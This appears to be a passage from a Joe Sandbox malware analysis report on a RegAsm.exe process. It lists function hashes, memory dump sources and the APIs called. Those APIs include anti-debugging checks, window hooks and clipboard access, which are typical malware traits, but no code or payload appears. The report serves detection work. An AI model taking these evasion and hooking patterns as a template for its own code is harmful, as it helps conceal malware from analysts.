Snapshot File: hcaresult_0_2_d30000_450230549.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 850225d9caa5bf5450e41c606c25799f734dfb65ab247183d89f010fe3ed45ad
Instruction ID: 90c40d2aafc84ff8a8933caf6187d25e2941e7a71fb88c42653fd634be7f3bb8
Opcode Fuzzy Hash: 850225d9caa5bf5450e41c606c25799f734dfb65ab247183d89f010fe3ed45ad
Instruction Fuzzy Hash: E7219AB1D056688BEB19CF679C147DAFBF6AFC9300F14C1AAC408AA254DB740A468F51

Analysis Process: RegAsm.exePID: 4136, Parent PID: 7068COMMON

Execution Graph

Execution Coverage:	10.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	1.5%
Total number of Nodes:	194
Total number of Limit Nodes:	22

Executed Functions

Function 06173050 Relevance: 8.0, Strings: 6, Instructions: 545
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 06173726
$^q, xrefs: 06173773
$^q, xrefs: 06173732
$^q, xrefs: 0617375B
$^q, xrefs: 0617374F
$^q, xrefs: 0617377F

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2392861976
Opcode ID: 0d18dd62c9dd154e421aa4559386db281358165202b1c00a2348a8f24f9e69b3
Instruction ID: e8ae82c88c458683fde75e50b76ed428dcb9074cf5efbe9f4c447c106f9398dd
Opcode Fuzzy Hash: 0d18dd62c9dd154e421aa4559386db281358165202b1c00a2348a8f24f9e69b3
Instruction Fuzzy Hash: 02321F31E1075ACFCB14EF75C89459DB7B2BFC9300F1086AAD419AB264EF30A985CB91

Function 06177D80 Relevance: 3.0, Strings: 2, Instructions: 476
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 06178327
$^q, xrefs: 0617831B

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: 5143c2da0eca2640bef49d4d5d4230a3e652534b8ea017de20e39fbaf687b954
Instruction ID: e185beeb6c8b731c641c3d0b778c45265f41f8906f866611748ef14fd1868476
Opcode Fuzzy Hash: 5143c2da0eca2640bef49d4d5d4230a3e652534b8ea017de20e39fbaf687b954
Instruction Fuzzy Hash: 5B029C30B006059FDB94DB78D484AAEB7F2EF84304F148969E40ADB395DB31ED86CB91

Function 06175590 Relevance: 1.9, Strings: 1, Instructions: 601
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$, xrefs: 0617594B

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: f41cd36c6fbdc6a5869af46bcdb78413759b9270111770d176a78ec62f2d5b33
Instruction ID: c972a31ae60c4ff576b8434dc44da70954f069ab34a413ba72a197f9b0ae7510
Opcode Fuzzy Hash: f41cd36c6fbdc6a5869af46bcdb78413759b9270111770d176a78ec62f2d5b33
Instruction Fuzzy Hash: A322BE75E002198FDF64DBA8C4806AEBBF3EF89314F248469D449AB385DB31DD46CB91

Function 00EA71D0 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

CheckRemoteDebuggerPresent.KERNEL32(?,?), ref: 00EA7247

Memory Dump Source

Source File: 00000003.00000002.3558473581.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ea0000_RegAsm.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 2f8efea0082b58ddc27b1a4816aaf4aeec547521d40a826cd7a3f3f5f3cd0b92
Instruction ID: d0da1bea48e3004bcff8f940a9857387d1567ef6c06fb954d9f449dfa359ed3f
Opcode Fuzzy Hash: 2f8efea0082b58ddc27b1a4816aaf4aeec547521d40a826cd7a3f3f5f3cd0b92
Instruction Fuzzy Hash: 6C2137B2801259CFCB10CF9AD884BEEFBF4AF49324F14846AE459B7250D778A944CF65

Function 061765F8 Relevance: .8, Instructions: 820COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6d5236192b36c9216d7264641ab72c0067ce2ca34a8131b2f4b01579fe1c14d
Instruction ID: a5745682fc3f4680770bab9e89de96e9d048faad697ede79192b73e5ff44928a
Opcode Fuzzy Hash: c6d5236192b36c9216d7264641ab72c0067ce2ca34a8131b2f4b01579fe1c14d
Instruction Fuzzy Hash: 6B62AF30B006048FDB54DB68D594BADB7F2EF88314F248569E40AEB395DB35ED86CB90

Function 0617C180 Relevance: .6, Instructions: 643COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7e668f2919e420f2753e8fd2a1adbd6a8f313f99a8580bca2380967cee57bef
Instruction ID: ca429c4e3c84505acd76fec8b42dd396836d3c16c397723098061cffec30aed7
Opcode Fuzzy Hash: a7e668f2919e420f2753e8fd2a1adbd6a8f313f99a8580bca2380967cee57bef
Instruction Fuzzy Hash: 4D329D34B006098FEB54DF68D990BAEB7B2EB88314F10856AE505EB355DB35EC42CB91

Function 0617B22A Relevance: .6, Instructions: 577COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13ed1c3058228df0dafa392a95027e1315946221e7193751a270b607667e4e5b
Instruction ID: 3034e36d035c2d889249b773451f31aa6f1cd9393443f791253f8ea33d4caa4e
Opcode Fuzzy Hash: 13ed1c3058228df0dafa392a95027e1315946221e7193751a270b607667e4e5b
Instruction Fuzzy Hash: 11225D30E082098FDF64DF68C4907AEB7B2EB89310F248826E459EB395DB35DD85CB51

Function 0617ACD0 Relevance: 10.4, Strings: 8, Instructions: 395
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 0617ADF1
$^q, xrefs: 0617ADFD
$^q, xrefs: 0617AEA8
$^q, xrefs: 0617AE7F
$^q, xrefs: 0617AE50
$^q, xrefs: 0617AE44
$^q, xrefs: 0617AE73
$^q, xrefs: 0617AE9C

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-3823777903
Opcode ID: 2eedaeaec0461ca93c356f891fbdff8ce621b311ef5ccf4dae558909ed834410
Instruction ID: 3cdef896dc947a9508e4efa06d13341a2a2896b842f6d573e771baf039383127
Opcode Fuzzy Hash: 2eedaeaec0461ca93c356f891fbdff8ce621b311ef5ccf4dae558909ed834410
Instruction Fuzzy Hash: F2E17E30F102098FDB59DF69D4406AEB7B2EF89304F20896AE405AB355DF75EC46CB91

Function 0617B650 Relevance: 8.0, Strings: 6, Instructions: 473COMMON

Download Yara Rule

Strings

$^q, xrefs: 0617BBB3
$^q, xrefs: 0617BB7F
$^q, xrefs: 0617BBA7
$^q, xrefs: 0617BBDB
$^q, xrefs: 0617BB73
$^q, xrefs: 0617BBE7

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2392861976
Opcode ID: 597cd2259c0123c28cc0de518cdaa3ccf360d8066178c592d17b02452f8898a8
Instruction ID: 7b25606f5a6a3e55885495755a39e05ce4f3840e7c8f393552c8e71973bf0825
Opcode Fuzzy Hash: 597cd2259c0123c28cc0de518cdaa3ccf360d8066178c592d17b02452f8898a8
Instruction Fuzzy Hash: 4F027C30E042098FDFA4CF68D4806AEB7B2FB85314F24896AE415DB355DB35ED85CB91

Function 06179150 Relevance: 5.2, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 061791D2
$^q, xrefs: 06179197
$^q, xrefs: 061791DE
$^q, xrefs: 061791A3

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: bf4e6ec59ef2b9288ebbc8f07053c93e19d22a01e2e4e58b4430dbef6f19597e
Instruction ID: 0cb9ee7490e588c7b0bb54682d333de9cd4ae63822ebf7251fc94fc2e755efd7
Opcode Fuzzy Hash: bf4e6ec59ef2b9288ebbc8f07053c93e19d22a01e2e4e58b4430dbef6f19597e
Instruction Fuzzy Hash: F7915F30F0420A9FDB54DB75D950BAEB3F6AFC9244F1088A9C409EB384EF709D468B91

Function 0617CF38 Relevance: 4.6, Strings: 3, Instructions: 803
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 0617D337
$^q, xrefs: 0617D343
$^q, xrefs: 0617D32F

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q
API String ID: 0-831282457
Opcode ID: 2ed764b7fdce10a94bc6662f256d473a7cb07bb4583ffa4c080c92f45361e464
Instruction ID: 83b644efc9d6672b3de2330d4ef62bdd3573cfb2deeefe071b2de15ea082e9aa
Opcode Fuzzy Hash: 2ed764b7fdce10a94bc6662f256d473a7cb07bb4583ffa4c080c92f45361e464
Instruction Fuzzy Hash: 15624430A006099FDB55EF68E590A5EB7F2FF85304F248969D0099F369DB71ED4ACB80

Function 06174B58 Relevance: 3.9, Strings: 3, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

XPcq, xrefs: 06174C85
fcq, xrefs: 06175265
\Ocq, xrefs: 06174D0F

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID: fcq$XPcq$\Ocq
API String ID: 0-3575482020
Opcode ID: a546d8d52165831066aa4cb7b596d86d6c75ac9637da959337e53fed5fef24b1
Instruction ID: 1fbfc08313eaf0a14f895795e877d2e81e9955659e6b395a747fac97e66d8704
Opcode Fuzzy Hash: a546d8d52165831066aa4cb7b596d86d6c75ac9637da959337e53fed5fef24b1
Instruction Fuzzy Hash: 88616230F402189FEB549FB9C8547AEBAF6FF88700F20842AE105AB395DF754D058B95

Function 06179142 Relevance: 2.7, Strings: 2, Instructions: 163
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 061791D2
$^q, xrefs: 06179197

Memory Dump Source

Source File: 00000003.00000002.3561950671.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6170000_RegAsm.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: 02b4a3ce13706fbd5daa9401e2f5824cd650091208532f2f0860c5ec944c631f
Instruction ID: 42d7c410da911a00fe2da5ee70a22393dd7e5e8720a95c300328a5e7a3d7456a
Opcode Fuzzy Hash: 02b4a3ce13706fbd5daa9401e2f5824cd650091208532f2f0860c5ec944c631f
Instruction Fuzzy Hash: 0E517030B041059FDB54EBB4D990BAEB3F6ABC9654F1488A9C409EB384EF70DC428B95

Function 00EAF2D0 Relevance: 1.6, APIs: 1, Instructions: 137
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000003.00000002.3558473581.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ea0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65a5df7b01ab27237830f1512330cb356c80c72ddbaedda7d15ac235af99502e
Instruction ID: 60b9cb985f27d300442ce10866ba5eda23c12b692eb5e39f4ec17ecc8b2677fd
Opcode Fuzzy Hash: 65a5df7b01ab27237830f1512330cb356c80c72ddbaedda7d15ac235af99502e
Instruction Fuzzy Hash: 67410332D043958FCB14CFB9D8046EEBFF1AF8A310F1885ABD444A7251DB74A845C791

Function 060F2B53 Relevance: 1.6, APIs: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 060F2C6A

Memory Dump Source

Source File: 00000003.00000002.3561712353.00000000060F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_60f0000_RegAsm.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: b9977cfc8099dcd30f3fbc9448a2206079f605fdbd01178c5ed15babc4ec9128
Instruction ID: 664f77e321226ff5569bf39ab37bfb825599042be3c673328721acf429bc9de0
Opcode Fuzzy Hash: b9977cfc8099dcd30f3fbc9448a2206079f605fdbd01178c5ed15babc4ec9128
Instruction Fuzzy Hash: BD51D1B1D103499FDB14CFA9C884ADEBFF5BF48310F24852AE818AB210D7759985CF91

Function 060F2B58 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 060F2C6A

Memory Dump Source

Source File: 00000003.00000002.3561712353.00000000060F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_60f0000_RegAsm.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: d7f99288760e5f700e901c610fc43c74f67a4d764b22f27920513ed7ce211a41
Instruction ID: db99a5f5f2f4d01fab22bc2505e8a457e874d4b87a31fbc4087d551555bd2578
Opcode Fuzzy Hash: d7f99288760e5f700e901c610fc43c74f67a4d764b22f27920513ed7ce211a41
Instruction Fuzzy Hash: DA41D0B1D103099FDB14CF9AC884ADEBFF1BF48310F24852AE818AB210D7749985CF91

Function 060F66E4 Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 060F7AF1

Memory Dump Source

Source File: 00000003.00000002.3561712353.00000000060F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_60f0000_RegAsm.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: ed3eb24ea322d25c86801c4ebe88390502e4783d7b463e4d0478edc6bd607fc8
Instruction ID: 764c0cfba75322aa3520d12fc59da45bc03c5594cfc215382c7415c520d25522
Opcode Fuzzy Hash: ed3eb24ea322d25c86801c4ebe88390502e4783d7b463e4d0478edc6bd607fc8
Instruction Fuzzy Hash: ED4169B4910349CFDB44CF89D888AAABBF5FF88314F24C859D519AB320C774A841CBA1

Function 060F876D Relevance: 1.6, APIs: 1, Instructions: 76comclipboardCOMMON

Download Yara Rule

APIs

OleGetClipboard.OLE32(?), ref: 060F8800

Memory Dump Source

Source File: 00000003.00000002.3561712353.00000000060F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_60f0000_RegAsm.jbxd

Similarity

API ID: Clipboard
String ID:
API String ID: 220874293-0
Opcode ID: 55e31de2f1cefc533a7f32dd2158c7f0f80d4c61a62da68af23bbe2a2029bea2
Instruction ID: d6439081fd7f0cd79018b119b80d78cbf129b693c4c3735d0b3f484ba29e3edb
Opcode Fuzzy Hash: 55e31de2f1cefc533a7f32dd2158c7f0f80d4c61a62da68af23bbe2a2029bea2
Instruction Fuzzy Hash: 433122B0D01248EFDB50CF99C984BCEBFF5AF48314F248019E504BB290D7B5A986CBA5

Function 060F8140 Relevance: 1.6, APIs: 1, Instructions: 74comclipboardCOMMON

Download Yara Rule

APIs

OleGetClipboard.OLE32(?), ref: 060F8800

Memory Dump Source

Source File: 00000003.00000002.3561712353.00000000060F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_60f0000_RegAsm.jbxd

Similarity

API ID: Clipboard
String ID:
API String ID: 220874293-0
Opcode ID: 2189820a0884a9645a06e233cbb804b2e01d94145c7c13c07fc2c76daf0b8c3a
Instruction ID: 069f929ec4af90eaaf26dc0069379a2927a15e64c56d40a31d1fc4428a2cf858
Opcode Fuzzy Hash: 2189820a0884a9645a06e233cbb804b2e01d94145c7c13c07fc2c76daf0b8c3a
Instruction Fuzzy Hash: 4C3112B0D41248DFDB50DF99C984BDDBFF5AF48314F248029E504BB290D7B4A985CB95

Function 00EA71C8 Relevance: 1.6, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

CheckRemoteDebuggerPresent.KERNEL32(?,?), ref: 00EA7247

Memory Dump Source

Source File: 00000003.00000002.3558473581.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ea0000_RegAsm.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 363c68172b69bd6011e87ca70af9fa779d865bcc983ca7507d2ad541b614c094
Instruction ID: a99a0c149359c4a987b32b496d164df5fb775731f0e039dcc623a7b941c03f0a
Opcode Fuzzy Hash: 363c68172b69bd6011e87ca70af9fa779d865bcc983ca7507d2ad541b614c094
Instruction Fuzzy Hash: 0A2169B1801259CFCB10CF9AD884BEEBFF4AF49320F18846AE485B7251C378A944CF61

Function 060F6B98 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 060F6C27

Memory Dump Source

Source File: 00000003.00000002.3561712353.00000000060F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_60f0000_RegAsm.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: d809df72e059f45666beea3c018207bc5c2f7c642792b4c4423d260956d58115
Instruction ID: a50b54e3f333b6008704d36d64cef6b99386c2c41fceea60f7da7ce51add39a2
Opcode Fuzzy Hash: d809df72e059f45666beea3c018207bc5c2f7c642792b4c4423d260956d58115
Instruction Fuzzy Hash: 6921E9B5911248DFDB10DFAAD984ADEFFF4EB48310F14841AE954A3311C375A944CFA5

Function 060F6BA0 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 060F6C27

Memory Dump Source

Source File: 00000003.00000002.3561712353.00000000060F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_60f0000_RegAsm.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 3b423fe348f545b9ff022b8412ee4ba934535be2194f5c2114cd422a32a75d3d
Instruction ID: a805583cf1f04458c93082abb81cbc8f551b6189e706643f2a3f3c6be44cb3b4
Opcode Fuzzy Hash: 3b423fe348f545b9ff022b8412ee4ba934535be2194f5c2114cd422a32a75d3d
Instruction Fuzzy Hash: 0D21C4B59102589FDB10CF9AD984AEEBFF4EB48320F14841AE958A7310D375A944CFA5

Function 060F6720 Relevance: 1.6, APIs: 1, Instructions: 60COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,?,?,?,?,?,?,?,060F7D45), ref: 060F7DCF

Memory Dump Source

Source File: 00000003.00000002.3561712353.00000000060F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_60f0000_RegAsm.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 7853865c0deaa5df87d74e6b8c850cdba61ee4e1856b8bed726b7c10532b49a6
Instruction ID: 49f2937090a9f078b018dcea5718e78cb72a08f9ee8240f3beeb63d65b8fc51c
Opcode Fuzzy Hash: 7853865c0deaa5df87d74e6b8c850cdba61ee4e1856b8bed726b7c10532b49a6
Instruction Fuzzy Hash: 4B21DFB18043888FCB50DFADD8447DEBFF4EF49324F24449AD598A7251C374A984CBAA

Function 060FA160 Relevance: 1.6, APIs: 1, Instructions: 60COMMON

Download Yara Rule

APIs

SetWindowsHookExA.USER32(?,00000000,?,?), ref: 060FA1E3

Memory Dump Source

Source File: 00000003.00000002.3561712353.00000000060F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_60f0000_RegAsm.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 889658efb9b774af57ebd4582c8121d6dd77280d97827b14f20deb3b9d99047f
Instruction ID: 89097211fb1a5e71987edb44a52a4a97d1935d83b5df31d6643a84c19d22fe7d
Opcode Fuzzy Hash: 889658efb9b774af57ebd4582c8121d6dd77280d97827b14f20deb3b9d99047f
Instruction Fuzzy Hash: 992132B1900209DFCB54CF9AC844BEEFBF5BB88320F10842AE458A7250CB74A944CFA5

Function 060FA168 Relevance: 1.6, APIs: 1, Instructions: 57COMMON

Download Yara Rule

APIs

SetWindowsHookExA.USER32(?,00000000,?,?), ref: 060FA1E3

Memory Dump Source

Source File: 00000003.00000002.3561712353.00000000060F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_60f0000_RegAsm.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: ae522e08c6c6d86ca4d273fce74e4079f5335a8010201b7eed4ae524e4955ae0
Instruction ID: 05f33d56b7fd9f4ae5947ba86a3b084374df78bf54f475d63847f63f37f5baa8
Opcode Fuzzy Hash: ae522e08c6c6d86ca4d273fce74e4079f5335a8010201b7eed4ae524e4955ae0
Instruction Fuzzy Hash: EB2124B5D00249DFCB54DF9AC844BEEFBF5BB88320F14842AD458A7250CB74A944CFA5

Function 00EAF3B8 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32 ref: 00EAF41F

Memory Dump Source

Source File: 00000003.00000002.3558473581.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ea0000_RegAsm.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: bc9f55309624ee5ab1c3c3388ad655dd4d28ab7b8240607cb07a78bdcdcf1851
Instruction ID: 6456c24eafcfe33ca4f197977f6bc37c2e5b62333e1593b0fb2eb3edcc9d495e
Opcode Fuzzy Hash: bc9f55309624ee5ab1c3c3388ad655dd4d28ab7b8240607cb07a78bdcdcf1851
Instruction Fuzzy Hash: AD11F0B2C0066A9BCB10DF9AC544BDEFBF4AF49324F14816AD818B7250D778A944CFA5

Function 060F03F4 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 060F1B16

Memory Dump Source

Source File: 00000003.00000002.3561712353.00000000060F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_60f0000_RegAsm.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: b2dd7d5028434081a0951f46afebe662cbfdbe2e47d6a17d86e0d6b4a6614d84
Instruction ID: 935a663e47620810a065b99313dcef0b6e57ff97cc30a3ddca0e05ad9599047a
Opcode Fuzzy Hash: b2dd7d5028434081a0951f46afebe662cbfdbe2e47d6a17d86e0d6b4a6614d84
Instruction Fuzzy Hash: 191132B5C00289CFCB10CF9AC844ADEFBF4EB88320F10846AD919B7610D375A545CFA5

Function 060F1AAB Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 060F1B16

Memory Dump Source

Source File: 00000003.00000002.3561712353.00000000060F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_60f0000_RegAsm.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 89bbc9a8a627c9050f55dcbad1b9703ffce021b7b2d4550a4d37669c79cdbb2f
Instruction ID: a3c1ec6507d3e43891e9df188b71232c579cde0218955c115d802f821addf17d
Opcode Fuzzy Hash: 89bbc9a8a627c9050f55dcbad1b9703ffce021b7b2d4550a4d37669c79cdbb2f
Instruction Fuzzy Hash: 9B1132B5C00689CFDB10DF9AC844ADEFFF4AB49320F14846AD418B7610C374A545CFA1

Function 060F8629 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 060F8685

Memory Dump Source

Source File: 00000003.00000002.3561712353.00000000060F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_60f0000_RegAsm.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 27c67977a14764815cb38b1c925e6555356d4088d8ce606b1f85b0ee6fb30963
Instruction ID: a06e587c347655317c8edc7c7ea32bae03b5777954186c973d0f7b275a3731c1
Opcode Fuzzy Hash: 27c67977a14764815cb38b1c925e6555356d4088d8ce606b1f85b0ee6fb30963
Instruction Fuzzy Hash: 111112B5C002988FCB60CF9AD544BDEBFF4EB48324F24885AE558A7610C335A984CFA5

Function 060F673C Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,?,?,?,?,?,?,?,060F7D45), ref: 060F7DCF

Memory Dump Source

Source File: 00000003.00000002.3561712353.00000000060F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_60f0000_RegAsm.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: c9cb6d9d8bf840d59ac562ef150ccd8213b841494288fe3a640e23db06efc993
Instruction ID: 8b2d607b115ec3c21eed56a58ec1fd0652a22e489fe6f98139e3e50c546bf227
Opcode Fuzzy Hash: c9cb6d9d8bf840d59ac562ef150ccd8213b841494288fe3a640e23db06efc993
Instruction Fuzzy Hash: DC1145B1800248CFCB60DF9AD844BEEFFF4EB48324F20842AD519A7640C374A984CFA5

Function 060F8028 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 060F8685

Memory Dump Source

Source File: 00000003.00000002.3561712353.00000000060F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_60f0000_RegAsm.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 3c2577034aa93fb15e01f3f671b2f56bc6a3b93c0667feca84f740431a34223c
Instruction ID: 26d4577f4639c48a56a67872795241c7e940ee0340e5fe8cbd49981a768ba5ea
Opcode Fuzzy Hash: 3c2577034aa93fb15e01f3f671b2f56bc6a3b93c0667feca84f740431a34223c
